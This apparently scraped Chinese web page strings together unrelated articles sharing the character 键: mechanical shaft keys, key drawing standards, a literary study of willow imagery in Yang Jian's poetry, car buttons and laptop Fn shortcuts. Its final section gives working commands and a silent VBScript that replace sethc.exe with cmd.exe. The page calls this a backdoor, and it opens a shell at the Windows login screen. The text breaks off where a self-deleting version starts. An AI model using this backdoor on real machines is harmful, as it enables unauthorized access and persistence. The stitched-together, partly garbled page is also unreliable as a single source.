有关键词的论文范文
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篇1：键联接
键是一种标准零件，通常用来实现轴与轮毂之间的周向固定以传递转矩，有的还能实现轴上零件的轴向固定或轴向移动导向，键的联接按键的结构形式可分为：
键
联
接
的
类
型
平键联接半圆键联接楔键联接切向键联接1、平键连接平键联接的工作原理：
平键的下半部分装在轴上的键槽中，上半部分装在轮毂的键槽中。键的顶面与轮毂之间有少量间隙，键靠侧面传递扭矩。轮毂与轴通过圆柱表面配合实现轮毂中心与轴心的对中（见右图）。
根据用途不同，平键可分为普通平键、薄型平键、导向平键和滑键四种。其中普通平键和薄型平键用于静联接，导向平键和滑键用于动联接。
薄型平键与普通平键的主要区别在于，薄型平键的高度约为普通平键的60%~70%，结构型式相同，但传递转矩的能力较低。薄型平键主要用于薄壁结构、空心轴以及一些径向尺寸受限制的场合。普通平键
导向平键滑键1）普通平键
普通平键按构造分，有圆头（A型）、平头（B型）以及单圆头（C型）三种，其结构形式如下图所式：
A型平键B型平键C型平键特点：A型平键的轴槽用端铣刀加工，键在槽中固定良好，但轴上槽引起的应力集中较大；
B型平键的轴槽用盘铣刀加工，轴的应力集中较小；
C型常用于轴端与毂类零件联接，与A型平键一样，其圆头部分的侧面与键槽并不接触，未能充分利用。
用途：应用最广，也适用于高精度、高速或承受变载、冲击的场合。
薄型平键与普通平键的主要区别是键的高度约为普通平键的60%~70%，结构型式相同，但传递转矩的能力较低。薄型平键主要用于薄壁结构、空心轴以及一些径向尺寸受限制的场合。
2）导向平键
当被联接的毂类零件在工作中必须在轴上作轴向移动时，则可采用导向平键。导向平键是一种较长的平键，结构型式如下图：
导向平键联接A型导向平键B型导向平键特点：键用螺钉固定在轴上，键与轮毂键槽为间隙配合，轴上零件能做轴向移动。为了拆卸键的
方便，设有起键螺钉孔，以便拧入螺钉使键退出键槽，
用途：用于轴上零件轴向移动量不大的场合，如变速箱中的滑移齿轮。
3）滑键
当零件需滑移的距离较大时，因所需导向平键的长度过大，制造困难，故宜采用滑键。
滑键联接（键槽已截短）特点：滑键固定在轮毂上，轴上零件带键在轴上的键槽中作轴向移动。
应用：用于轴上零件轴向移动量较大的场合。
2、半圆键半圆键联接如右下图所示。轴上键槽用尺寸与半圆键相同的半圆键槽铣刀铣出，因而键在槽中能绕其几何中心摆动以适应轮毂中键槽的斜度。半圆键工作时，靠侧面来传递转矩。
特点：工艺性较好，装配方便；但轴上槽较深对轴的强度削弱较大。
用途：一般用于轻载静联接，适用于轴的锥形端部与轮毂的联接。
半圆键
半圆键联接
3、楔键联接
特点：键的上下两面是工作面。键的上表面和毂槽的底面各有1：100的斜度，装配时需打入，靠楔紧作用传递转矩；能轴向固定零件和传递单方向的轴向力。但使轴上零件与轴的配合产生偏心与偏斜。
用途：用于精度要求不高、转速较低时传递较大的、双向的或有振动的转矩。有钩头的用于不能从另一端将键打出的场合。钩头供拆卸用，应注意加保护罩。
普
通
楔
键
A型 B型
C型钩
头
楔
键
4、切向键联接
特点：由两个斜度为1：100的楔键组成。其上下两面（窄面）为工作面，其中之一面在通过轴心线的平面内。工作面上的压力沿轴的切线方向作用，能传递很大的转矩。一个切向键只能传递一个方向的转矩，传递双向转矩时，须用互成120°～130°角的两个键。
应用：用于载荷很大，对中要求不严的场合。由于键槽对轴削弱较大 ，常用于直径大于100mm的轴上。如大型带轮及飞轮，矿用大型绞车的卷筒及齿轮等与轴的联接。
递
单
向
转
矩一对切向键 传
递
双
向
转
矩
篇2：键及其连接
键主要用于轴和轴上零件(如齿轮、带轮)间的周向连接，以传递扭矩，如图9-29所示，在被连接的轴上和轮孔中制出键槽，先将键嵌入轴上的键槽内，再对准轮孔中的键槽（该键槽是穿通的），将它们装配在一起，便可达到连接目的。
一、常用键及其标记键是标准件。常用的键有普通的平键，半圆键和钩头楔键。普通平键又有A型（圆头）、B型（方头）和C型（单圆头）三种。表9-6列出了这几种键的标准号、形式及标记例。二、键槽的画法和尺寸标注键槽的形式和尺寸，也随键的标准化而有相应的标准（见附表3-1、附表3-2）。设计或测绘中，键槽的宽度、深度和键的宽度、高度尺寸，可根据被连接的轴径在标准中查得。键长和轴上的键槽长，应根据轮宽，在键的长度标准系列中选用（键长不超过轮宽）。键槽的图示和尺寸表注方法，如图9-30、图9-31所示。[例9-1]设图9-30中的轴径d=18，轮宽B=20，试确定平键联接结中键槽的尺寸。查表从附表3-1中查得，键槽宽b=6;度深度t=3.5,t=2.8．轴上键槽长L取为18.计算d-t=18-3.5=14.5b+t=18+2.8=20.8三、 键连接画法（一） 普通平键（图9-32）和半圆键连接（图9-33）这两种键连接的作用原理相似。半圆键常用于载荷不大的传动轴上。（1）连接时，普通平键和半圆键的两侧面是工作面，它与轴、轮的键槽两侧面相接触，分别只画一条线。（2）键的上、下底面为非工作面，上底面与轮键槽面之间留有一定的间隙，画两条线。（3）在反映键长方向的剖视，键按不剖处理。（二）钩头楔键连接（图9-34）钩头楔键的上底面有1：100的斜度。装配时，将键沿轴向打入键槽内，靠上、下底面在轴和轮键槽之间接触挤压的摩擦力而连接，故键的上、下底面是工作面，各画一条线；而两侧面为非工作面；应画两条线。钩头供拆卸用。轴上的键槽常制在轴端，拆装方便。篇3：浅析杨键诗歌的柳意象的论文
浅析杨键诗歌的柳意象的论文
柳意象是中国古典文学中常见而重要的一个意象，源自《诗经》，除了即景而写，渐渐有了离情别绪、感时伤怀、隐逸逍遥等等丰富的意蕴。但唐宋以降，诗文中的柳意象走向了女性化、艳情化，如“章台柳”至宋代已经专指青楼女子，直到文学革命之后，柳树才又恢复了景物描绘的清新，如应修人咏柳云:“但是春寒还重呢!柳呵!你这样地抽青，是为你底生命努力么?还是为要给太阳底下底行人造成些伞盖么?……”(《新柳》)而作为一位眷念传统文化的当代诗人，杨键笔下的柳意象成为他诗歌的一个特色，有评者曾直接引用杨键写柳丝的诗句评论他的诗歌:“这‘温良的乳母一样的柳丝’般的诗歌，是对汉语言的一种修复性写作。”可以说杨键笔下的柳树既清新自然贴近物象本身，又有古风，使柳意象这一古老的非常中国的文学意象呈现出新的魅力，唯目前学界尚未专门对之关注，值得进行一番探索。
一、萧瑟的柳树———营造衰飒的气氛
诗人杨键的文笔带有清寒之气，柳树到了秋冬天，枝叶凋零消瘦，在寒风中格外显得萧瑟，采用柳树来营造衰飒的气氛也是很自然的写法。这是对古典柳树抒写的一种继承，古代很早就有文人描绘了秋冬衰柳的情状，如庾信的《枯树赋》“昔年移柳，依依汉南，今看摇落，凄怆江潭”，还有李商隐的《柳》“如何肯到清秋日，已带斜阳又带蝉”，都是咏衰柳以抒凄怆之情。不过，杨键的诗用柳树来营造衰飒感，却不只是个人的抒情，更多的是一种对时代的感怀。
在《祈祷》里，诗人写道:“心灵的衰微应对衰微的世界/湖水，柳树，踩得很硬的土路/彼此相连又默默无言……”236柳树作为衰微的世界的组成，和衰微的心灵是相映的，和湖水、土路是默默相联系着的。衰柳让人联想到人的衰弱，踩得很硬的土路更让人联想到变硬的人心，这些都让诗人不能不叹息“我们深深地爱着自己，排斥他人/在这里，在那里/还有几个安详的人?”236诗人由于对世道的深深失望在这首诗的后半部分祈祷建一座六和塔，建一所招隐寺，希望佛教能够多指引混乱中陷入“贪财和好色”的世人。还有《古桥头》如此写柳树林:“万物在人的烦恼中/显得晦涩，不安而易逝。/麻雀像一阵污水/飞回了柳树林。”278这是一首非常绝望的诗，麻雀成了一阵污水，是因为人的烦恼投射到麻雀上，人烦恼了，万物就晦涩了，比起上一首来更加有主观性。诗人在这首诗的结尾感叹:“我们留给子孙的将是十分荒谬，/十分神经质的空白。”279抒发了对于传统文化缺乏传承的强烈担忧。
《江边》中的一幕很古典:“点点墨斑，/那是寒酸的麻雀/像一群民工/挤上火车———冷清的老柳树上。”53墨斑很容易让人想到水墨画，但不是古典衰柳意象表现的个人命运的凄惶，而是表现了底层社会的凄凉之感，从麻雀如点点墨斑，可以看出柳树枝的稀疏，叶子都落光了，时节已经到了冬天，民工此时也是登上归乡之途。寒酸的麻雀、冷清的老柳树与民工挤上火车的场景重叠呈现，底层离乡背井打工谋生的艰辛沉重由此不言自明。《母亲》一诗也写了麻雀飞向柳树林，“枕木间捡煤炭的脏妇人，/像犯人的手铐不能打开。//灰麻雀飞向了柳树林，/像涌上心头的酸水。//也许，在畜栏边磨蹭，/经过长久的失明，她能够活过来。”271这首诗诗人将麻雀飞入林中比喻为酸水涌上心头，也就是心里产生了酸楚的感觉，比喻奇异却又画面统一。铁轨上捡煤炭的脏妇人的样子，麻雀飞向柳树林的样子，和诗人的心头发酸的样子完全融化在一个色调中。诗歌后面的“在畜栏边磨蹭”联系到前面的捡拾煤炭的脏妇人，其实也是暗喻，同上面的诗歌一样，把底层生活的艰辛和精神的蒙昧凸显了出来。
这几首诗都写于，往往让最平凡的麻雀和柳树在一起，构成灰暗的图景，在写柳树的时候大多用了比喻，但还是描述为本，赋比手法结合，暗淡的画面把柳树的衰飒一面极端地呈现了出来。后两首都写到火车铁轨，铁轨和柳树的搭配给诗歌带来了时代感，但不是增加了钢铁结构所具有现代力度，却强烈地加强了衰飒气氛，铁轨具有的冰冷质感和柳树的衰飒感在一起，呈现的是对于古典诗意来说陌生的诗歌场景，而这正是现代带来的另外一种惶恐———现代化惶恐的产物。
二、华贵的柳树———缅怀王道的雍容
同样19诗人也在诗歌中用雍容华贵来形容柳树。这样写的柳树成了一种对比，与灰暗沉重的现实和心灵形成对比，诗人感受到柳树的另外一面———雍容华贵，而这也并不是毫无源流的。汉代的长杨宫、上林苑都有柳树，在六朝和唐朝，更是广泛种植，直至宋元明清，柳树一直都是中国宫廷苑囿护城河边所常栽种的风景树、道旁树。许多古典诗词都写到宫柳，尤其是在官场应制诗中很多见。只是后来柳在诗文中脂粉气逐渐加重，还成了许多陈词滥调的中心词，比如花街柳巷、眠花醉柳等等，柳树曾经沾染的王道气息几乎很难被人感到。杨键从柳树里又重新体验到了千百年前的王道气息，也算是一种对更久远的传统的回归。
作为当代诗人，杨键在诗作中对柳树雍容美的回归，恰恰是因为当代是一个传统文化隐匿的时代。面对一个在现代化大潮中面目全非的中国，把自己的文化之根扎在古典的杨键产生了不知所措的惶恐，更产生了对传统文化的强烈追慕。在诗歌、文章、访谈中，杨键屡屡表达对中国传统文化的崇尚与热爱，“本质上我是一个复古派。孔子就是我们历史上最伟大的复古者。”而那自古以来就在中华大地上广泛种植并被广泛咏歌的柳树，就成为他笔下传统文化的高贵象征。他的诗歌中，拱桥、流水、柳树就可以构成一个古中国的缩影，一个处于中国现代化进程的角落里的古中国缩影。
《过错》表达了幻灭感，“我也找不到，/同月光下的瓦楞/河堤上雍容华贵的柳树，/共存亡的方法。” 59诗人在桥上感到幻灭，失去准则，看到行人都不知道如何相处，看到身外的柳树之华美，也无法与之共存亡。这首诗透露了一种非常绝望的情绪，诗人找不到人生的出路，“我一个人在桥上，失去了一切准则”，“我承受着幻灭之痛!”59在古典诗作里，未见有这样的与柳树“共存亡”的激烈写法。这里的柳树和瓦楞被赋予了古典文学里见不到的超乎寻常的文化意义，它们的线条和构图属于古典的秩序，诗人觉得仿佛隔世一样，相望而不可以相即，发出了沉痛的叹息。《在桥上》描写一对恋人相依在古桥头上，对柳树生出了赞美:“我喜爱柳树谦逊，/雍容华贵的枝条……/远方苦行僧一样的江水，/没有语言能与它相称。/我想，是我心中常年的哀叹/毁了江水在这里的浩瀚，/像逆子把慈母抛弃。”同无法融入江水一样，“我”也无法达到融入柳树的雍容华贵。江水被比喻为苦行僧，可以想象柳树相对应的应该是暗喻儒家提倡的圣王境界。这两首诗都是把柳树和桥一起写，桥有通往彼岸的象征意味，两者都表达了抵达理想世界的困难，抒发了人在雍容华贵的柳树的面前的悲叹。时代变迁了，怎样和柳树共存亡，怎样找到与江水相称的语言，换句话说怎样让传统顺利地延续下来，成为一位有强烈本土文化归属感的诗人所面临的严重问题。在现代化大潮来临时，诗人迫切想找到一些意象作为不被潮流冲走的立身之本，柳树就是其中之一，它随处可见，就很方便地成为诗人理想的寄托。但诗人虽然找到了一些具有王道气息的景物，毕竟还是无法脱离一个工业社会甚至后工业社会的现实环境。
三、温良的河边柳———勾勒恬静的乡村
“河边柳”是杨键的柳树抒写中独特的创造，是真正获得了诗人自己气息的柳树。具体而言它多指乡下村镇河边的柳树，被诗人赋予了民间的人格美，尤其是温柔一面的传统人格美，与传统的以柳树比喻温柔体弱的女子异曲同工，但含着赞美，承继了传统的从草木联想到人的品德的“比德”写法。如果说雍容华贵的柳树让人想到盛唐气象的话，那么河边柳就会使人联想到小户人家的家常，这柳树亲切平和，是温馨的，是温良恭俭让的，如同熟悉可亲的邻居，在杨键诗歌中有着安慰人心的`意义，是杨键所向往的恬静传统乡村的重要组成。
《乡村》赞美了乡村的生活，开头是这样的:“我要写一写她家河边的杨柳，/写一写她弯着腰在菜地里的样子，/写一写她家堂屋里的小板凳，/她家的鸭子。”柳树、小板凳、农妇弯腰都勾起了诗人抒写的愿望，因为这些都是乡村传统的遗留，对向往乡村的诗人而言，亲切极了，诗的第二和第三章更进一步把乡村比喻为一头栓起来的驴，驴的眼里有着“忠厚、无言，还有温良……”《柳树》这首诗是专门写柳树的，“温良的乳母一样的柳丝，/在沉静的水边，/轻拂着，/看上去，那么容易。”乳母的抚慰是再家常不过的场景，当诗人体会到柳丝的乳母般的温良淡然，自己人生的坎坷、内心的抑郁都变得微不足道了。诗人甚至发出这样的感叹:“多美啊，/逆来顺受的柳树，/那是在河岸上。”(《一个孤独者的山与湖》)在诗人看来，“那条河/不会留下任何擦痕———”也就是说生老病死，肉体的流逝并不会真正影响到心灵的变化，柳树就是一个启示，柳树的枝条的柔软，被解释为“逆来顺受”，完全任凭命运的安排，但是柳树还是保持了美感，这是一种包容的韧性的传统美。《吠叫》这首诗中，诗人从深夜狗连成片的剧烈吠叫想到人的愤怒，叹息人要多久才能放弃愤怒，而诗人想象冬天的心如落光叶子只剩下线条的冬天的柳丝，“冬天的心呵，/像河边的柳丝，/轻轻地，/和善地，/在岸边，/在水面上，/到底要多久呵……”那内敛简单的和善，是儒家修身所期待的谦谦君子品格。河边柳成了教化世人的老师。这些诗歌中《河边柳》是最为著名的一首，它的新鲜感是不言而喻的，一些最古朴的愿望统统被寄托到了柳树上，着眼小而托旨大。全诗很短，十分精炼:“傍晚的柳树，/要教会我们和平。//公公、婆婆，/岳父、岳母，/夫妻、兄弟，/姐妹、妯娌。//像一根根柳丝，/轻拂在傍晚的水面。”这是一首想象极为独特又显得轻松自然的诗，如诗人小海赞美的:“这首诗自创新制，别出心裁，清新、纯正，不事雕琢，以平淡之语道来，不着议论而能做到情境顿出，情理交融。”理想的人伦关系整体被投射到柳树那丝丝分明的枝条上，柳树温柔和平的姿态象征了理想家庭的和睦状态，而家庭和睦是社会和谐的基础，所以儒家修身齐家是在治国平天下之前，对家庭和睦的重视是儒家文化的一个特色。诗歌非常精练地浓缩了对儒家文化的追慕之情，甚至这首诗可以视为20世纪90年代以来文化界对中国传统文化回归潮流的一个象征性表达，因为传统文化以儒家文化为主流，并且儒释道思想彼此融合。
四、超越和悲悯的柳树———引领精神的上升
在一些寄托超越寓意的诗作中，杨键还集中表现了柳树因为所寄托的象征而拥有的珍贵感，他看到了超越于现实生活的柳树，可以引领精神上升的柳树，自然与传统融为一体的柳树。如《跃进桥》:“十二月的柳树，仿佛一个纤弱的小女孩，/我们要把她珍藏在心底。/远处的起重机勾勒着黄昏的凄凉，/一个工人和一个农民无言地相遇在桥头。”纤弱的冬日柳树本身，成了工业文明背景下弱势而珍贵的古老文化精神的象征。《长江》这首诗写江边的炼铁的废弃高炉，那位厂长“他毁了多少长江边的柳树和柳树下的/马兰头啊?”对柳树的毁坏更凸显了急功近利对精神的毁弃。
这种超越的柳树在杨键诗中出现得更多，这类柳树不同于古典柳树意象的地方是它们并不具体，诗人既不是即景而写也不是比喻，柳树在此已经虚化，成为一种意念，被寄托了超越和回归的精神，经常帮助诗人营造出有佛教底蕴的空明澄清的意境。这种虚化过程可参考王昌龄《诗格》所云:“搜求于象，心入于境，神会于物”，当然前面所述的柳意象也是多多少少在虚化柳树，只是这里虚化得尤其彻底，更加有佛教的色即是空的智慧。如《满月》描绘了诗人的精神悄悄吸收天地之气的微妙时刻:“他吸收了柳树柔软的部分，/和露水里苍天的寥阔。//即将摆脱他的时代，/那种悲伤的局限。”这首诗写于，可以看出诗人的精神渐渐开始摆脱现实的压迫，得到了与柔软而长久的精神的交融。这不知所措的时代本来压得他难以承受，但是在神奇的自然力量的守护下，诗人恢复了，获得了一点从容。还有在《古典建筑》里诗人如此赞美:“仿佛我们的生命，/是春雨，/是淡薄的柳丝，/和脚下的青条石做成的。”这里同样玄化的柳丝已经融入诗人的生命。
慈悲的观音菩萨用柳枝洒水普度众生，是众所周知的佛教形象，而诗人杨键作为一位虔诚的佛教徒，他笔下的柳意象很自然的超越中又含有悲悯。有时候柳树枝仿佛就是作为居士的杨键在这个世风日下时代的一根最柔最弱的手杖。“你手上抓着一根柳枝，/在那条小径上走着。/那条小径，通向一座寺院/寺院里，塔身庄严、肃穆。”《相依》这首诗从头到尾弥散着悲怆的气息，但不是自伤自怜，也不是同情底层，而是求道者隐忍而沉着的坚定孤绝。柳丝象征悲悯后来在长诗《哭庙》中也有呈现，如“我看到柳丝轻拂在水面就想到它们是贫病者之母。”(《再哭》)还有《地主高庭和之墓》写道:“柳树如亡母，立在河堤边。”联想到观音菩萨也常常被视为拥有无私母性，柳枝几乎可以说是被观音化了。在《农田间的小河水》里，杨键发出疑问，“我还能唱出小河之歌吗?/我还能唱出柳树之歌吗?/我的背景曾经是温馨，/无我，而怜悯的。”答案是肯定的，诗人发现小河就是心灵，老柳树的倒影就是心灵。当诗人进入到佛教辉煌赞颂的意境中，诗人不再孤绝，他发现佛性触目可及，无所不在。柳树在杨键诗歌中获得了在传统诗文里从未有过的意味，这恰恰是因为传统已经衰微，传统缩小为一个整体，需要一根柔弱的柳条来保持最后的韧劲，因为它平凡、温润，生命力很强，却又柔软无比，无形中传递了传统文化刚柔相济之中柔的一方面的生机。
综上，诗人杨键在形象描绘柳树柳枝的基础上，充分运用比喻和象征手法，给源远流长的柳意象带来了新的活力，既有白话诗歌的清新感，避免了唐宋以来柳意象脂粉气的弊端，又扩大了柳意象的意境，推陈出新而又不失古意。这样集中且富有成就的柳意象的发明，对传统文学意象如何焕发青春的诗学问题，是非常好的文本范例。
篇4：sel键是什么意思
汽车其他按钮意思：
“A/C”按钮是压缩机开关，全称Air Condition，压缩机开关，也就是空调制冷开关。
“AUTO HOLD”按钮是自动出车开关，用于控制自动驻车的打开和关闭。可以提供更好的驾驶舒适度及安全性。
“VOL+/-”是调节音量加减的按钮，VOL是单词“volume”的`缩写，译为音量，可以调节汽车音响的音量。
“OFF”关闭按钮，意思是关闭对应的功能。
“MUTE”是静音按钮，可以一键静音。
“MODE”是切换模式按钮。
“SET”在多功能方向盘上是定速巡航功能按钮。
篇5：radio键是什么意思
汽车收音机是为了减轻驾驶员和乘员旅行中的枯燥感，而设置的收放音装置。是收音机开关的意思。想要打开汽车的'收音机功能，只需要按下汽车上的RADIO键即可。
汽车上最早使用的是调幅收音机，后来是调幅调频收音机、磁带放音机，发展至CD放音机和兼容DCC、DAT数码音响。现在汽车音响无论在音色、操作和防振等各方面均达到了较高的标准，能应付汽车在崎岖的道路上颠簸，保证性能的稳定和音质的完美。汽车音响大多为前后级合一的主机，已经具备了音源、前级和后级，囊括了音响构成的基本结构。
汽车多媒体其他常见的按键还有：MODE键，模式的意思，播放来源选择，用于切换多媒体模式，就是AM、FM、U盘几个模式的切换。SEL键，英文select的缩写，选择的意思，表示为菜单选择确认键。VOL键是调节音量大小，是英文单词volume的缩写，即音量。
篇6：tel键是什么意思
功能
删除文字
每按一次删除键删掉光标右边的.一个字符，并且光标右边的字符向左移一格。（与退格键大致相反）
删除文件
当选中一个或多个文件/文件夹时，按下删除键可以快速将它/它们删除（移入回收站）。
其它
在某些应用（例如Microsoft 3D builder）中选中一个对象后按下删除键可以快速删除所选对象。
篇7：fn是什么键_FN相关知识
fn是什么键_fn相关知识
fn是什么键_FN相关知识
意为“Function”(功能)，用以和其他的按键组成组合键以便实现控制作用。 它一般是笔记本和上网本键盘左下角的一个键。有的笔记本将Ctrl键置于左下角，而Fn在键盘最下一排从左数第二的位置。
fn相关知识
意为“Function”(功能)，用以和其他的按键组成组合键以便实现控制作用。
它是多出现于笔记本和上网本键盘左下角的一个键。有的笔记本将Ctrl键置于左下角，而Fn在键盘最
下一排从左数第二的位置。“Fn”多用蓝色刻印，也有用绿色、紫色的，与相组合的按键实现的功能在另一个键上用同样的颜色表示。这些组合键可以实现硬件的调节(休眠，切换显示)，或者补充实现台式机上有而笔记本上省略的按键。
Fn + 上/下键”调节显示屏的亮度;
Fn + SAS键”打开或关闭外接CRT显示器或放映机。
ThinkPad篇
FN+F3：关闭屏幕显示，触动鼠标或任意键可以重新打开屏幕。
FN+F4：将系统设置待机状态。
FN+F5：打开/关闭无线通讯功能(只可以在WINDOWS下使用)
FN+F7：屏幕切换(只有在有外接的显示器时有用)
FN+F8：拉申或者停止拉申屏幕(在分辨率小于最大分辨率时使用)
FN+F12：将系统设置休眠状态
FN+HOME/END ：增加/减低屏幕亮度
FN+PAGEUP ：打开屏幕顶部的ThinkLight照明灯
FN+空格：降低屏幕分辨率 (只有在WINDOWS下有效)
注：FN+F5则是自T40和X31起新增的功能，按下之后会出现ThinkPad风格的无线设备开关界面，允许你选择无线网卡和蓝牙设备的开关，对于没有安装蓝牙模块的机型，则蓝牙选项不会出现，如果连无线网卡模块也没有，则这个界面不会出现，按下FN+F5不会有任何反应
HP篇
FN+F1:打开帮助和支持程序
FN+F2:打印(仅适用于X1000);无线网卡开关(仅使用于COMPAQ专用的MuthPort无线网卡组件,仅适用于N800V)
FN+F3:打开IE浏览器(仅适用于Windows环境)
FN+F4:切换显示器
FN+F5:将机器置于休眠状态，N800V为FN+F3
FN+F6:锁定计算机(仅适用于Windows环境,且必须预设用户密码)
FN+F7:降低屏幕亮度
FN+F8:增加屏幕亮度
FN+F9:播放/暂停音频CD或DVD(仅适用于Windows环境，且只适用于音频CD和DVD)
FN+F10:停止播放音频CD或DVD(仅适用于Windows环境,且只适用于音频CD和DVD)
FN+F11:播放音频CD或DVD的上一段(仅适用于Windows环境，且只适用于音频CD和DVD)
FN+F12:播放音频CD或DVD的下一段(仅适用于Windows环境,且只适用于音频CD和DVD)
FN+Insert:相当于按下Print Screer(屏幕打印)键。仅适用于X1000
FN+Del:相当于按下SYS RQ键.仅适用于X1000
FN+End:相当于按下Scroll Lock键。仅适用于X1000
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东芝篇
FN+ESC：静音/恢复音量
FN+F1：清空屏幕
FN+F2：切换电源管理主题
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FN+F4：设置为休眠状态
FN+F5：切换显示器
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FN+F9：启用或禁用内置鼠标触摸板
FN+F10：将右侧的字母键变成方向
FN+F11：将左侧的字母键变成数字
FN+F12：等于SCROLL LOCK键功能
FN+HOME：等于PAUSE键功能
FN+END：等于BREAK键功能
FN+1：减低音量
FN+2：增加音量
FN+空格键：切换屏幕分辨率到800*600
除此之外，东芝还提供一个FN-esse的程序，供用户自己定义FN组合键，可以随心所欲的建立自己的快捷方式。
SONY篇
FN+ESC：设置为等待状态
FN+F3：静音(只有在WINDOWS有效)
FN+F4：弹出音量调节状态条(只有在WINDOWS有效)
FN+F5：弹出亮度调节条
FN+F7：切换显示器
FN+F12：将系统设置为休眠状态
FN+NUMLK：按下等于SCROLL LOCK键
FN+INSERT：按下等于PAUSE键
FN+DELETE：按下等于BREAK键
FN+向上方向键：按下等于PAGE UP键
FN+向下方向键：按下等于PAGE DOWN键
FN+向右方向键：按下等于HOME键
FN+向左方向键：按下等于END键
FN+F：拉申或者不拉申屏幕(只有在WINDOWS下有用)
三星篇
FN+ESC：将机器置于等待状态。(P25为：FN+F5)
FN+F2：电池状态显示
FN+F4：切换显示器(P25为：FN+F7)
FN+F6：静音(P25为：FN+END)
FN+F7：打开关闭SPDIF输出 (P25为：FN+F8)
FN+F11：相当于按下NUM LOCK
FN+F12：相当于按下Scroll lock (P25 为：FN+F10)
FN+上方向键/下方向键：增加/减低亮度
FN+左方向键/右方向键：增加/减少音量 (P25为：FN+Page Up / Page Down)
下面两个快捷键只适合于P25
FN+F11：相当于按下Pause
FN+F12：相当于按下Break
SHARP篇
FN+F2：接通/断开无线网卡信号
FN+F3：显示器切换(FN+F5)
FN+F6：静音/解除静音
FN+F8：增加屏幕亮度(FN+F7)
FN+F9：降低屏幕亮度(FN+F6)
FN+Scrlk：等于按下Break键
FN+Insert：等于按下PRINT SCREEN键
FN+DEL：等于按下PAUSE键
华硕篇
Fn+F1: 进入待命或是休眠模式
Fn+F2：开启内置无线网络功能
Fn+F5: 调暗液晶显示屏亮度
Fn+F6: 调亮液晶显示屏亮度
Fn+F7: 液晶显示屏背光光源开关
Fn+F8: 切换为液晶显示屏显示，外接显示器或电视
Fn+F10: 静音开关(仅适用于Windows系统下)
Fn+F11: 降低音量(仅适用于Windows系统下)
Fn+F12： 提高音量(仅适用于Windows系统下)
Fn+Del: 开启或关闭“锁定滚动条”功能
Fn+Ins: 启用内建数字键盘。内建数字键盘功能，是将笔记本电脑中央偏右一共15个键当作一般台式键盘最右方的数字键使用。跟台式数字键盘一样，除了可以当作数字键盘，方便大量输入数字时使用之外，它也可以当作数字键盘上的方向键使用。
Fn+T: 启动ASUS Power 4 Phone应用程序
Fn+V: 启动数码相机应用程序及拍照
Fn+: 等同于性能设置快捷键，按下后可设置系统性能与省电之间的关系
Fn+C: 此组合键可切换屏幕至不同的颜色设置选项，在屏幕画面左上方将出现
联想篇
联想的FN组合键比较简单，但是它的图标表示比较有个性，即使是笔记本老手都有可能看不懂某些快捷键的图标哦。
FN+F2：接通/断开无线网卡信号
FN+F3：显示器切换
FN+F6：静音/解除静音
FN+F8：增加屏幕亮度
FN+F9：减低屏幕亮度
FN+SCRLK：等于按下BREAK键
FN+INSERT：等于按下PRINT SCREEN键
FN+DEL：等于按下PAUSE键
Acer宏篇
+ 热键帮助显示热键帮助内容
+ Acer eSettings 可启动Acer eManager 组合中的Acer
+ Acer ePowerManagement 可启动Acer eManager 组合中的Acer
+ 睡眠让电脑进入睡眠模式
+ 显示屏幕切换可以在以下三种显示方式间切换只使用，示屏只使用已连接的外接显示器，同时使用显示屏和外接显示器
+ 黑屏将显示屏背景光关闭以节省电能按任意，将恢复正常显示
+ 触摸板切换打开和关闭内置式触摸板功能
+ 扬声器切换打开或关闭扬声器
+ <↑>调高音量调高扬声器音量
+ <↓>调低音量调低扬声器音量
+ <→>调高亮度提高屏幕亮度
+ <←>调低亮度调低屏幕亮度
Num Lock
+ < F11>
当Num Lock 键锁定时嵌入式小键盘将处于数字模式所有按键均等同于计算器按键功能( 包括+ - * / 算术运算符)
如果要输入大量数字信息这种模式将十分适合您若能连接外接键盘则更佳
Scroll Lock
+ < F12>
当Scroll Lock 键锁定时您可分别按向上或向下键屏幕即向上或向下移动一行Scroll Lock 键可能在某些应用程序中不起作用。
DELL篇
Dell 8000的快捷键级别上是Dell传统的风格，也没有可供用户自定义的独立快捷键，最有特色的地方在于可以用FN+F10直接弹出光驱托盘，这样不但避免了摸索光驱面板上弹出按钮的麻烦，也减少了光驱自身的损耗
FN+ESC：选择所预设的电源管理模式
(FN+F2：开启或关闭无线网卡功能DELL8000无)
FN+F3：显示电源表
FN+F8：切换显示器
FN+F10：弹出光驱
FN+上方向键/下方向键：增加/减低亮度
FN+END：静音
FN+PgUp：增加音量
FN+PgDn：减低音量
FN+Num lock:：相当于按下Scroll lock
要注意的是，某些新款戴尔机型需要按Fn+(F1-F12)来达到F1-F12的效果，而直接按F1-F12为功能键。
Hasee神舟篇
FN+F1：进入暂停模式
FN+F2：进入静默模式
FN+F3：静音/取消静音
FN+F4：开启或关闭无线网络接受
FN+F5：增加扬声器音量
FN+F6：减小扬声器音量
FN+F7：视频开启与关闭
FN+F8：减小亮度
FN+F9：增大亮度
FN+F10：启用/禁用无线连接
FN+Numlk：激活/停止数字键功能
篇8： 如何利用粘滞键
什么是粘滞键？
当你在Windows操作系统里面连续按下5次Shift键之后，你看看出来了什么？
在windows /xp/Vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开，
如何利用粘滞键
。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。
一、具体的替换方法：
XP系统：
将安装源光盘弹出（或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
Vista系统：
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
备注：上两步为获得权限的命令，你也可以通过Vista优化大师获得右键菜单的提升权限的功能，然后在sethc.exe文件上面右键直接提升权限。
然后按XP方法替换文件
在登录界面按5此SHIFT，出来cmd shell，然后……
二、后门扩展：
Dim obj, success
Set obj = CreateObject(“WScript.Shell”)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(“cmd /c echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True)
success = obj.run(“cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True)
success = obj.run(“cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True)
success = obj.run(“cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True)
success = obj.run(“cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题
再更新，加个自删除、简化代码：
On Error Resume Next
Dim obj, success
Set obj = CreateObject(“WScript.Shell”)
